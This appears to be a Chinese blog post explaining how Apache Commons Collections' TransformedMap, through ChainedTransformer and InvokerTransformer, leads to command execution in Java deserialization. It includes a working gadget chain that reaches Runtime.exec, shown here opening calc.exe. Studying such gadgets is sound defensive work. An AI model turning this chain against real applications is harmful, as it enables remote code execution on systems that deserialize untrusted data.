java反序列化 - transformedMap類可以執行惡意代碼的原理
阿新 • • 發佈:2018-08-16
clas invoke 序列化 pri [] nag roc map.entry 什麽 java反序列化 - transformedMap類可以執行惡意代碼的原理
0x00 代碼
Map map=new HashMap(); map.put("key","value"); //調用目標對象的toString方法 String command="calc.exe"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs) }; Transformer transformer=new ChainedTransformer(transformers); Map<String, Object> transformedMap=TransformedMap.decorate(map,null,transformer); for (Map.Entry<String,Object> entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }
執行結果:
0x01 transformedMap類為什麽可以執行惡意代碼?
通過上一篇http://blog.51cto.com/13770310/2160737文章, 可知ChainedTransformer的transformer方法可以執行惡意代碼。
上述代碼的關鍵是:
for (Map.Entry<String,Object> entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }
為什麽執行了 entry.setValue("anything");就可以造成惡意代碼執行呢?接下來我們看transformedMap類的checkSetValue方法:
/** * Override to transform the value when using <code>setValue</code>. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
當transformedMap對象執行setValue方法時會調用valueTransformer的transform方法,如果傳入的valueTransformer是ChainedTransformer的對象,那不就可以造成惡意代碼執行了嗎。
接著查看上面代碼:
因此該代碼的核心還是使用的ChainedTransformer的transformer方法
java反序列化 - transformedMap類可以執行惡意代碼的原理